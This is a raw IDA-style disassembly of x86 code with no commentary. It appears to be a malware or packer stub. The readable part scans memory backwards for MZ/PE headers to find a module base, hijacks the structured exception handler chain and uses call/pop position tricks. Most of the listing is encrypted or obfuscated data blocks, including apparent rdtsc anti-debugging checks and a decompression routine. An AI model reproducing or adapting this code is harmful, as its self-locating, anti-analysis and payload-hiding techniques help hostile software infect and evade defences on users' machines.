		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_4FE0F9
		mov	esi, [eax+1Ch]

loc_4FE0F9:				; CODE XREF: start+6F0E0j
		xor	eax, eax

loc_4FE0FB:				; CODE XREF: start+6F0FAj
		cmp	eax, 32h
		jz	short loc_4FE11F
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_4FE110

loc_4FE107:				; CODE XREF: start+6F109j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_4FE0FB
; ---------------------------------------------------------------------------

loc_4FE110:				; CODE XREF: start+6F0F1j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_4FE161
		jmp	short loc_4FE107
; ---------------------------------------------------------------------------

loc_4FE11F:				; CODE XREF: start+6F0EAj
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 51h
		dd 10244C8Bh, 0B0A981h,	10000000h, 33590000h, 8B51C3C0h
		dd 5510244Ch, 0E8h, 0ED815D00h,	6223905h, 38C3858Dh, 81890622h
		dd 0B8h, 0C033595Dh
		db 0C3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4FE161:				; CODE XREF: start+6F107j
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	bx, si
		push	0
		push	esi
		call	sub_4FE17A
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_4FE17A	proc near		; CODE XREF: start+6F15Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_4FE17A	endp

; ---------------------------------------------------------------------------
		dw 64C0h
		dd 9FBD6CE0h, 0D98C665Ah, 38C0Fh, 0B70F0000h, 4E180D9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 61C35646h
		dd 221C35C6h, 80E3FF99h, 0DF8B4DE7h, 850FC90Ah,	4Eh, 85C74EB3h
		dd 62200F5h, 1,	0E9D88B66h, 9, 0CE9A0DFh, 8B849439h, 3BE993h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0BFBACFC3h, 88C0Fh, 0F570000h, 84h, 85C75B00h
		dd 62200F5h, 0
		dd 859280BBh, 0A9858949h, 0B7062233h, 498589EAh, 0E8062226h
		dd 9, 95FDA398h, 2DC8BCE6h, 0BE59F90Bh,	7FCC1F08h, 7455C181h
		dd 0F600000h, 0D80h, 7E800h, 0C57F0000h, 60CB0C33h, 0BA615BBAh
		dd 6589AEB6h, 6E2CC281h, 8E99A76h, 0C3000000h, 0F45A2F0Ah
		dd 8B89C24Ah, 8B666019h, 67DB80C7h, 49C38161h, 6066F623h
		dd 2810Fh, 61600000h, 0BE8h, 0AEE8C00h,	45AC2F6Ch, 161E21D0h
		dd 7E9h, 0BFDF9900h, 5C7D7271h,	0F381615Fh, 23661367h
		dd 1B850Fh, 12E80000h, 0D8000000h, 1C5E4E4Ah, 0CB78311Dh
		dd 7CFDC8ECh, 0B2FA50C1h, 0F28B669Fh, 1DC3815Fh, 0BF730D13h
		dd 29603B6Fh, 0FB8B6653h, 0C68B018Fh, 8A2BE981h, 5FBF331Ah
		dd 815400B1h, 1A8A27C1h, 1EA8133h, 0F000000h, 0FFFF7285h
		dd 1504EBFFh, 0E9000002h, 808h,	14E9h, 4E26AA00h, 1AD47E82h
		dd 88A9D14h, 0D935C571h, 28C85101h, 0B8FC604Bh,	0
		dd 14E9h, 0C512B200h, 50517968h, 60E088EAh, 2A49979h, 4107479Eh
		dd 548BF898h, 840F2824h, 17h, 12E9h, 932C200h, 32FC3777h
		dd 2D276873h, 1BEE5FE0h, 893751D6h, 222C7585h, 0B70F6006h
		dd 19B7BAD2h, 0BE6110ECh, 3Ch, 0AE9h, 2ED32500h, 0E35307B9h
		dd 894F3E27h, 22067D95h, 24740306h, 95953124h, 66062221h
		dd 0F5660ADh, 84h, 13E85B00h, 0BB000000h, 0BD41D2F0h, 6E54E442h
		dd 0AFBA5F4Ch, 0E14FE3BBh, 0BD899116h, 6223559h, 4403615Eh
		dd 0BD892424h, 6223185h, 12B26050h, 0EE8h, 2DBA9500h, 0F14B1A75h
		dd 0AADC6310h, 0FFDDB65h, 8Dh, 89615E00h, 860F2404h, 6
		dd 0ECDBD89h, 408B0622h, 8E978h, 99060000h, 98EB699Bh
		dd 9D31AA00h, 6221A61h,	28244403h, 2125B509h, 408B0622h
		dd 58D8918h, 40062230h,	8E9h, 219A100h,	3D88CD41h, 0CF8589F1h
		dd 0F06223Ah, 683h, 29B53100h, 5806221Ah, 0FE9h, 91715C00h
		dd 0F5395FA1h, 0CA082D5Fh, 0F31D56ACh, 0F578708Bh, 601CC683h
		dd 68D0Fh, 852B0000h, 622260Dh,	70EFCA81h, 36163A8h, 0F8242474h
		dd 6A1BD8Dh, 12E90622h,	0A4000000h, 99597F66h, 0AEEC11C4h
		dd 9FFE7193h, 0D2D08095h, 9D236061h, 62214DDh, 481A40BAh
		dd 0E9AD610Dh, 0Bh, 8AD06816h, 0C5615E6Dh, 344C325h, 0E9242444h
		dd 5, 7B45196Ah, 0B501AB78h, 62233FDh, 1D1BD8Dh, 13E90622h
		dd 2B000000h, 1AE22958h, 938873D2h, 0DEA94DABh,	7C077CDBh
		dd 0FAD6BB3h, 128Fh, 5E96000h, 12000000h, 0B60C2ABh, 21FD958Bh
		dd 3610622h, 0F5242444h, 0C830F90h, 0F000000h, 68Ah, 890F00h
		dd 50000000h, 35830Fh, 0E9600000h, 14h,	8BC9A41Eh, 0D15D0D26h
		dd 0A404B13Eh, 33E2184Fh, 7B092EA3h, 14E8h, 3D59AB00h
		dd 0A469AAD8h, 0D7E55712h, 334BEC5Ch, 0B958DBBAh, 90615E79h
		dd 0B18D89h, 60AB0622h,	2D158D89h, 0EE90622h, 1A000000h
		dd 7A02A887h, 0E039009Dh, 0D8C861EBh, 0BD8D614Fh, 6221FB1h
		dd 9E9h, 0FC9DBE00h, 0C271AF50h, 89ADE85Eh, 2220D195h
		dd 4403F506h, 66602824h, 61C589BAh, 18E0FABh, 0F8000000h
		dd 0FD85095Eh, 0E9062234h, 0Ch,	0D503EAEDh, 0CA603BB5h
		dd 3FC5C3B4h, 3ACF8DFFh, 0BD830622h, 6223ACFh, 0C7107500h
		dd 1C2444h, 8D000000h, 224027B5h, 56E6FF06h, 244403ADh
		dd 0DF8B9728h, 3309858Ah, 0C0840622h, 73A0474h,	32574C75h
		dd 0FD75AEC0h, 52FB2B5Eh, 49C933FCh, 0C033D18Bh, 32ACDB33h
		dd 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h, 41356609h
		dd 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h, 0F7D2F7D5h
		dd 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h, 85FF04C6h
		dd 6222C75h, 0FFFF6FE9h, 0E9F85EFFh, 6,	6711C11Fh, 9E981D5h
		dd 0A5000000h, 82102AAEh, 9F3672A0h, 2C75858Bh,	9D890622h
		dd 62232E9h, 8D01E0D1h,	6221E95h, 1FB18503h, 7E90622h
		dd 8000000h, 751E1ED9h,	0BE434Dh, 29000000h, 2220E585h
		dd 60609606h, 33819529h, 9E90622h, 33000000h, 4309C6ADh
		dd 0F01DD51Bh, 0CF4AB861h, 66613C70h, 5E9ADh, 344E0000h
		dd 0C1655194h, 830F02E0h, 0Eh, 9E9h, 0E7604E00h, 75612EEBh
		dd 850381C6h, 62206A1h,	267D8589h, 9D890622h, 6222825h
		dd 98D0F96h, 60000000h,	8DDBBA66h, 6103D580h, 0C59501ADh
		dd 8B062234h, 2924244Ch, 220691BDh, 24440306h, 95B58924h
		dd 8906221Eh, 0F1C2444h, 1683h,	11E900h, 0EA480000h, 52232D50h
		dd 0A379514h, 0BEEE180Bh, 8950CC87h, 2206F9BDh,	0F609606h
		dd 0D081D2B7h, 0C0E8467h, 32F8AC61h, 0CE9C9h, 0E7DB0000h
		dd 85BF937Ch, 0DB989C6Ah, 0C1FE2466h, 11E9h, 71128600h
		dd 112B5DCFh, 6A935929h, 60D05E3Ah, 0D0D05509h,	0D9830Fh
		dd 9D090000h, 6222829h,	830FD0D0h, 0CBh, 11E9h,	722D7900h
		dd 8F413401h, 27D83014h, 4E04335Dh, 0BD29E4B0h,	6221F4Dh
		dd 820FD0D0h, 0A7h, 0FD0D0F8h, 9E82h, 0DE900h, 0D4B70000h
		dd 87C9F86Dh, 0FC9A7F91h, 0FEFEAA87h, 0A3890FC9h, 9FFFFFFh
		dd 221F8985h, 20C48306h, 2444C7F8h, 0FCh, 0B5096000h, 6221485h
		dd 0E2816660h, 9529201Dh, 6221EBDh, 1B86161h, 60000000h
		dd 158C0Fh, 0FE80000h, 0FD000000h, 0EB33186h, 391589CEh
		dd 87C41763h, 0E85F71A2h, 0Bh, 0EC083FBEh, 0E48F91F7h
		dd 0BACADC83h, 31BA0002h, 8D8D615Fh, 62276A4h, 7E9h, 0D3B71D00h
		dd 5D3EC5E0h, 0CE9E1FFh, 1B000000h, 0C0897329h,	179FB02Fh
		dd 0C6C21660h, 22330985h, 89FC0006h, 2212B1B5h,	0F606106h
		dd 158Ah, 0FE800h, 4680000h, 5620E86Dh,	0DF80AAE9h, 818CFF9Ch
		dd 0BD335AD8h, 62221C5h, 1D9D8961h, 0C2062222h,	0F600008h
		dd 685h, 0A18D3100h, 9062229h, 2205FD9Dh, 0E9966106h, 6
		dd 96FDAAA4h, 505092CBh, 6810F52h, 50000000h, 5A310F52h
		dd 50310F58h, 0F525052h, 0F585A31h, 5A616031h, 96585A58h
		dd 48BF6060h, 89760672h, 2215C985h, 51B86106h, 612F9A70h
		dd 615CB060h, 42A8B589h, 8E0F0622h, 8, 28B0Fh, 61600000h
		dd 42C68D89h, 8DF90622h, 22413FB5h, 0EE906h, 91870000h
		dd 87FC9A7Fh, 8002FEAAh, 7F02F7C7h, 0FDBD3360h,	0F062206h
		dd 8D61DFBFh, 5B8EA185h, 15958900h, 0FF062220h,	15830FD0h
		dd 0E9000000h, 10h, 75E06334h, 0DA76AFFFh, 0AC3406D4h
		dd 0B160B98h, 491B531h,	895E0622h, 2218A9BDh, 3160C306h
		dd 2210118Dh, 0B91DBF06h, 8B6113D9h, 2242A8B5h,	0DE906h
		dd 0B8E0000h, 0ADDF577Ch, 0C67FEDFAh, 29279D4Bh, 2202D985h
		dd 0C68D8B06h, 0F062242h, 682h,	0C1958900h, 2B06222Ah
		dd 9E9C0h, 191D0000h, 10E20F96h, 29DF9E0Ah, 22068585h
		dd 60D98B06h, 5ADB501h,	0EE80622h, 0D1000000h, 9015F632h
		dd 87101576h, 0A502D5FEh, 0B2D8818Ch, 5E0E2FD6h, 0BFE961h
		dd 9D890000h, 6221381h,	0AE9h, 0C1BAF100h, 5BA420E6h, 3276CC2Dh
		dd 0A5858926h, 0B2062233h, 10E9F902h, 0C0000000h, 0B1B52BD1h
		dd 0DF749EF1h, 0A67011E0h, 0E94AB55Ah, 5Bh, 2498D89h, 8A0F0622h
		dd 6, 14998D09h, 0C2320622h, 42D8D89h, 7A050622h, 0E98A751Dh
		dd 10h,	0EE6F0FD9h, 0ADA3482Bh,	9BDA77B6h, 0F5C8F450h
		dd 8D01CC8Ah, 622000Dh,	6060C8D3h, 850FF88Bh, 0
		dd 5BF85361h, 8423561h,	0FEF998D1h, 858D89CAh, 0A06220Fh
		dd 0AF850FD2h, 60FFFFFFh, 14F59D89h, 8C0F0622h,	6, 32A98D8Bh
		dd 4B610622h, 310D9D29h, 29460622h, 22102195h, 0FDB0B06h
		dd 0FFFF4E85h, 0DDBD01FFh, 6006220Fh, 43AC17B8h, 14E928h
		dd 900000h, 8D4B5672h, 0B9EDE4E1h, 46431E84h, 0FC70800h
		dd 0CF61DD8Dh, 6820Fh, 0BD010000h, 6221355h, 89600000h
		dd 221C9185h, 75858906h, 6106221Ch, 880F0000h, 6, 60616060h
		dd 6161h, 0E90000FCh, 10h, 9FEF4FB1h, 46CF145Ch, 0D3F0A2D4h
		dd 8B3AB9CBh, 3AF1858Dh, 800F0622h, 6, 2C818501h, 85890622h
		dd 6221A69h, 76858DF9h,	0F062240h, 0A82h, 61606000h, 12698D23h
		dd 89610622h, 22140585h, 10E806h, 0F2DC0000h, 0DB8F6EE9h
		dd 292981DFh, 6FA8AA41h, 0BD29CDA1h, 62226ADh, 7E95Fh
		dd 9D410000h, 9E127515h, 7FC78157h, 0BA000071h,	332883D3h
		dd 1C33B9h, 15B86600h, 80378B44h, 0C68186CBh, 215331CEh
		dd 1DE99D8Bh, 0C6810622h, 0FAD36D5h, 8172F780h,	6F4AD2F6h
		dd 56D88B54h, 29958B56h, 5B062206h, 14E8078Fh, 9E000000h
		dd 6C24544Ah, 7292B881h, 88923EC0h, 0D8AA9138h,	0BB07CB41h
		dd 11703703h, 3EF835Bh,	6830Fh,	858B0000h, 6220931h, 0ED958B4Fh
		dd 49062214h, 0FF97850Fh, 12E9FFFFh, 1D000000h,	8DCD04C8h
		dd 0F57B20A3h, 9DFABD69h, 0C1470880h, 14EBE9h, 3 dup(0)
		dd 88000000h, 8D000000h, 22449585h, 41858906h, 8306220Eh
		dd 2243DFBDh, 840F0006h, 119h, 330985C6h, 68560622h, 0B0F9C273h
		dd 4A243481h, 0FF64E6AFh, 2233A9B5h, 0F1858D06h, 0FF06223Ah
		dd 0D38589D0h, 0C6062243h, 22330985h, 8D685606h, 818FF22Ah
		dd 92DF2434h, 0B5FF135Ah, 62233A9h, 3AF1858Dh, 0D0FF0622h
		dd 43D78589h, 46A0622h,	70FDC168h, 24348167h, 6770EDC1h
		dd 43E3858Bh, 0F4050622h, 0C1000001h, 509002E0h, 0FF006A90h
		dd 2243D795h, 0DB858906h, 8B062243h, 0FFFFB8D8h, 95FFFFFFh
		dd 6220E41h, 95FFC38Bh,	6220E41h, 84E9h, 0DFBD8300h, 62243h
		dd 1850Fh, 57C30000h, 43DBBD8Bh, 83AB0622h, 2243DB85h
		dd 0C35F0406h, 43DFBD83h, 0F000622h, 185h, 8360C300h, 2243DBADh
		dd 9D8B0406h, 62243DBh,	0FFFC7B83h, 1D850Fh, 70680000h
		dd 817399AEh, 2E702434h, 6A7399h, 95FF33FFh, 62243D3h
		dd 1DE9C361h, 68000000h, 0A4046640h, 0C0240481h, 6A5BFC19h
		dd 0FF33FF00h, 2243D395h, 0DBAD8306h, 4062243h,	0FFFFB1E9h
		dd 0ADE948FFh, 60000001h, 2424748Bh, 28247C8Bh,	8A80B2FCh
		dd 7884606h, 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h
		dd 0FFFFE283h, 0FD202FFh, 585h,	46168A00h, 830FD212h, 6Ah
		dd 0D202C033h, 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h
		dd 5850Fh, 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh
		dd 4707885Fh, 2BBh, 0FF70E900h,	1B8FFFFh, 2000000h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h
		dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh
		dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h
		dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h
		dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh
		dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h
		dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h,	1784h
		dd 2D18300h, 8B56E88Bh,	0F3F02BF7h, 1BB5EA4h, 0E9000000h
		dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h
		dd 86BD0000h, 0BEDD15C3h, 989C909Bh, 0FE575F8Ch, 1C91C7BCh
		dd 1EFF059h, 62626C5Ch,	1E95B3A3h, 0A0E07556h, 0FCD618C3h
		dd 8F8E9897h, 0EC460CDEh, 579E82BBh, 0B9F9336h,	637F7856h
		dd 1E95E1AFh, 0A3EF7354h, 0FCCC18C3h, 90948588h, 0F25A12DEh
		dd 598A95A0h, 47ABF05Dh, 727F7C41h, 5094B3E2h, 0B5FB7341h
		dd 0B3CA01C3h, 909A8589h, 0D0h,	62h dup(0)
		dd 86BD0000h, 0B2D71CC3h, 8F948387h, 0F04D0FDEh, 149295A8h
		dd 14AEF61Ch, 63697B13h, 1F86E1EDh, 0E7EA724Dh,	0B2D60491h
		dd 0DD9C9987h, 0E61F1197h, 598192A0h, 13BCE74Fh, 0C227456h
		dd 158C918Eh, 0EBEB6F59h, 0B0D604C3h, 0DD9F9681h, 0F91F0B97h
		dd 599E88BDh, 8A2FB51h,	672C6041h, 2C0A5EDh, 0A6FA6F5Dh
		dd 0A5980591h, 0DD898281h, 0F8500D8Eh, 579E86BDh, 48h dup(0)
		dd 86BD0000h, 0BDCA12C3h, 8F9E9C8Dh, 0EB1F0CD9h, 599F88A0h
		dd 47BCFF54h, 68697C51h, 58FA7A3h, 0B5AE7856h, 0B5D61F96h
		dd 94DB9080h, 0F0465F90h, 0AD395BAh, 2BBED45h, 0B06375Eh
		dd 1185ADD3h, 0E7A2794Bh, 0B3D41F96h, 94DB938Fh, 0ED595F8Ah
		dd 14D38AA0h, 15A0F359h, 686D394Ah, 1592E1E7h, 0B5EF684Bh
		dd 0B3C15197h, 8DDB859Bh, 0ED58108Ch, 0DD8AAEh,	61h dup(0)
		dd 81BD0000h, 0FCDD1D8Ah, 8F89988Dh, 0FA4B0F8Bh, 59DDC6ABh
		dd 14A6F668h, 697E6913h, 1D81B3E4h, 0B4EF7418h,	0B9DD13C3h
		dd 9C96D780h, 0EA4F1690h, 1C8786A3h, 9AEBE58h, 67613957h
		dd 7A85A3FAh, 0E0FA7535h, 0B2D15190h, 89989288h, 0FD1F1B9Bh
		dd 5992C7B6h, 12BDF76Ah, 74633940h, 1192A2A3h, 0A3EB775Bh
		dd 0B4EC51CDh, 9BDB8487h, 0BF5A1397h, 5E9D88B8h, 8B8BE48h
		dd 672C7241h, 1F8DB8EDh, 0A0794Ah, 0E0h	dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		dd 2F4EE900h, 0BF0F0000h, 6AFCD6h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 601A46C3h, 2830Fh, 5A510000h
		dd 20619589h, 8B610622h, 599D8BC0h, 8306221Ah, 2208DDBDh
		dd 9750006h, 0A21BD83h,	74000622h, 8B535013h, 1B8C0h, 9D8D0000h
		dd 624BE6Bh, 585BD3FFh,	0A21BD83h, 74000622h, 0B8535011h
		dd 1, 0BD1C9D8Dh, 0D3FF0624h, 9589585Bh, 622003Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 9BC35747h, 0A1459FEEh
		dd 4647A7CBh, 0E281D88Bh, 6CA45296h, 0B060C08Bh, 18E0F90h
		dd 0FC000000h, 62BB6661h, 0F1BD8390h, 6221Eh, 1B1840Fh
		dd 958B0000h, 62206C5h,	1C6DBD83h, 0F000622h, 19E84h, 0E99D8B00h
		dd 6006222Ch, 0DE9h, 83524000h,	462EB6F2h, 3F27CA05h, 858B53BBh
		dd 6221C6Dh, 32F59D8Bh,	0E8050622h, 31000003h, 22221DB5h
		dd 16BB9006h, 50406D36h, 535B5260h, 6690615Eh, 8D1DCBBBh
		dd 22509085h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 5E2743F5h, 0E64A60BBh, 148E0F50h
		dd 0F000000h, 0E8Fh, 9E900h, 0A30D0000h, 0AB588DA0h, 894BA450h
		dd 0BE92404h, 52000000h, 0EE943B79h, 73C67742h,	858D143Ch
		dd 622506Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0C0C35545h, 2052B746h, 6800Fh, 958B0000h, 6221509h
		dd 10D284BAh, 0AFB35002h, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 77E6C355h
		dd 1D814B0Ah, 0FFA98004h, 22070195h, 0C483FC06h, 8D9D890Ch
		dd 8D062210h, 22506E85h, 0DE806h, 24620000h, 0F0421122h
		dd 0B378C933h, 31D32B87h, 22070D85h, 0B6505A06h, 240489DAh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 55C35646h
		dd 7E2FAE50h, 950957FFh, 62231B1h, 6A026A5Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0E96FC351h, 8E960C1h, 0B1000000h, 96F2A397h,	8BDFA3B2h
		dd 2208FD9Dh, 95FF6106h, 6AED14h, 2921958Bh, 66610622h
		dd 0C77DABBAh, 2250A185h, 106h,	7E900h,	8C670000h, 9CEDD909h
		dd 0E8609665h, 0Eh, 0BC11F4F7h,	6864C8FDh, 0B20230FEh
		dd 8B663677h, 50615BCEh, 17BA6657h, 0F965BDBh, 686h, 0D1958B00h
		dd 89062204h, 225052B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 40FE822h, 0F9A3B4EAh
		dd 83D1BF0Fh, 2200F5BDh, 850F0106h, 8Eh, 6890Fh, 0BD290000h
		dd 62215C9h, 83DEB70Fh,	850F05F8h, 76h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 0A9C35646h, 860FFA17h
		dd 9D2355B3h, 6223159h,	8ADB501h, 0B80622h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0D0F9C355h, 8BF330F5h, 22356D95h,	178B0F06h
		dd 0E9000000h, 12h, 6D8D9DAh, 6FF40570h, 738149FDh, 4D5212E1h
		dd 0BD83946Ah, 6223341h, 54840F00h, 56000000h, 6840Fh
		dd 0B5890000h, 6220F71h, 0F381605Bh, 4D53D248h,	334195FFh
		dd 958B0622h, 6221D11h,	56006A61h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0B5B131F4h, 39D1DE7Fh
		dd 8E94D67h, 14000000h,	27192C24h, 837C97C4h, 220251BDh
		dd 840F0006h, 37h, 78D0Fh, 0BB500000h, 6F7A86D8h, 399D035Bh
		dd 0B8062214h, 0
		dd 21A99D09h, 0DE80622h, 6B000000h, 6020C2EBh, 2E0DB1B9h
		dd 0D60DE9D3h, 33B9952Bh, 605B0622h, 0F9D8589h,	11BB0622h
		dd 8B55F4ABh, 2200E185h, 0D78B6606h, 8B02C083h,	2200C595h
		dd 4A858906h, 6A062250h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 2BCAC356h, 6258DE94h
		dd 0A1B71DA4h, 6AFF00C6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 924CC353h, 0BA28011Eh
		dd 85C6CB42h, 6223309h,	0ADBD8953h, 6806220Ah, 0A4C76E33h
		dd 7B5903BBh, 24348141h, 587626EBh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0A3C35747h,	81C87E0Eh, 25A90EDAh
		dd 49B5FF4Ah, 89062226h, 220ED5BDh, 0AE806h, 72890000h
		dd 9DA01365h, 790434BEh, 0CE9h,	70271500h, 508A35FCh, 0B9AA088Dh
		dd 858D5B3Bh, 6257DBEh,	7E8h, 7D1BEB00h, 17FD050Bh, 193D952Bh
		dd 0FF5A0622h, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 5850F27h, 0BA000000h
		dd 5B2F409Eh, 0E3BBBB66h, 30758589h, 6A0622h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD8907C3h
		dd 6220881h, 15C5BD83h,	0F010622h, 10485h, 0DD952900h
		dd 0F506221Dh, 56006A61h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0E4D0C23Bh, 0AA2B60A2h
		dd 85C6757Ah, 6223309h,	8B666045h, 0DE9D9h, 8FC70000h
		dd 354D7FBAh, 96BC9451h, 61BD5B94h, 2EF80A68h, 81D38BD5h
		dd 40B82404h, 958B0531h, 6221AF9h, 2649B5FFh, 0E8600622h
		dd 0Ah,	283B3DBAh, 7405F024h, 8D895B5Ch, 6220B0Dh, 858D615Ah
		dd 6257DBEh, 9B93BB60h,	0FF6176A1h, 51006AD0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0CDB06DFCh
		dd 0AA270F81h, 9DB5319Eh, 0E8062218h, 0Ch, 0A3A92866h
		dd 0D824101Ch, 0AF8279EBh, 28658D29h, 6A5A0622h, 0FFD38B00h
		dd 50006AD0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0FE906h,	0FCBC0000h, 0F86B0741h,	71863D27h
		dd 39B7531Bh, 5BD83DDh,	1062208h, 122850Fh, 11E80000h
		dd 0F5000000h, 6CF2B1E4h, 0ED8028B7h, 6492C2DDh, 0B12B3DAAh
		dd 6E9h, 2811600h, 5A091F99h, 858BD38Bh, 62200E1h, 0EA9B509h
		dd 0BBE90622h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 876AC352h, 0C82303F8h
		dd 359D89DAh, 90062218h, 9FB86660h, 12E93Ch, 0C13F0000h
		dd 0DFFBF431h, 11187461h, 0FAF3CED8h, 574C66F3h, 13E95061h
		dd 0EB000000h, 3F2EE1B7h, 0DBB27E38h, 0EF9BE7D0h, 3D4E3B2Bh
		dd 0E990BEE7h, 0Bh, 0C53CD26Dh,	0C0A5CE12h, 6A6DCA2Bh
		dd 53006A14h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 95FFFC45h, 6223075h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 59C35343h, 58E58CA3h, 1051BD89h
		dd 38800622h, 64850F00h, 0E8FFFFFFh, 0Ch, 1CA08C70h, 0A9B294BFh
		dd 467967B5h, 79958B60h, 89062220h, 2235098Dh, 0C65B6106h
		dd 0C2810100h, 4B5F1E35h, 0DA816661h, 0BD8317BCh, 6222835h
		dd 4F840F00h, 8B000000h, 221B219Dh, 29FF6A06h, 2233A5B5h
		dd 7595FF06h, 6A062230h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 700DC351h, 0BE9h, 0CA38BB00h
		dd 296DD7FCh, 0BD6AECEDh, 0E9E1D280h, 0FFFFFFBDh, 3F9958Bh
		dd 85C70622h, 6222835h,	1, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 2CC35747h, 14C9958Bh,	9D8B0622h, 62209FDh
		dd 50568589h, 95890622h, 62231F1h, 86BA5290h, 5A4DE170h
		dd 0D68B6650h, 57006A90h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 227E28A5h, 0F8116333h
		dd 8B60DC8Ah, 2213799Dh, 0F056A06h, 48Bh, 5BB6600h, 6E858D2Fh
		dd 81062250h, 11025EEAh, 6060902Ch, 0AE85E51h, 0A7000000h
		dd 0FEEAF651h, 0FF7DE742h, 61615EE7h, 0F6B26050h, 61CA8B66h
		dd 5E858D90h, 0F062250h, 0E80h,	0BD8B6000h, 6221631h, 0E048C781h
		dd 906130BFh, 0F31BA52h, 505A7AC6h, 5E9h, 4E378900h, 6A9032C1h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 1B0DC355h, 0B5B5890Fh, 0FF062214h, 22011195h
		dd 0A8C0F06h, 0E9000000h, 5, 65C611BEh,	798D8D2Fh, 2306227Fh
		dd 22080995h, 74C00B06h, 6E858D11h, 50062250h, 8589D1FFh
		dd 622508Ch, 85C70AEBh,	622508Ch, 0FFFFFFFFh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 3DC35141h, 6B2F4154h
		dd 9D016060h, 6221A0Dh,	9D8961F8h, 622204Dh, 56006A61h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0B4E4A280h, 85C6EEB6h, 6223309h, 9D8BF94Dh, 622184Dh
		dd 4E8h, 3576A800h, 0D38B66A4h,	60525050h, 310F5250h, 14B1585Ah
		dd 52310F61h, 310F5250h, 5A5A585Ah, 24448B58h, 0C0BB6604h
		dd 50008B4Ah, 8E9h, 0A5F26000h,	0E65AB1BCh, 44895A8Bh
		dd 0DF8B0424h, 6840F58h, 29000000h, 22004585h, 5B5FF06h
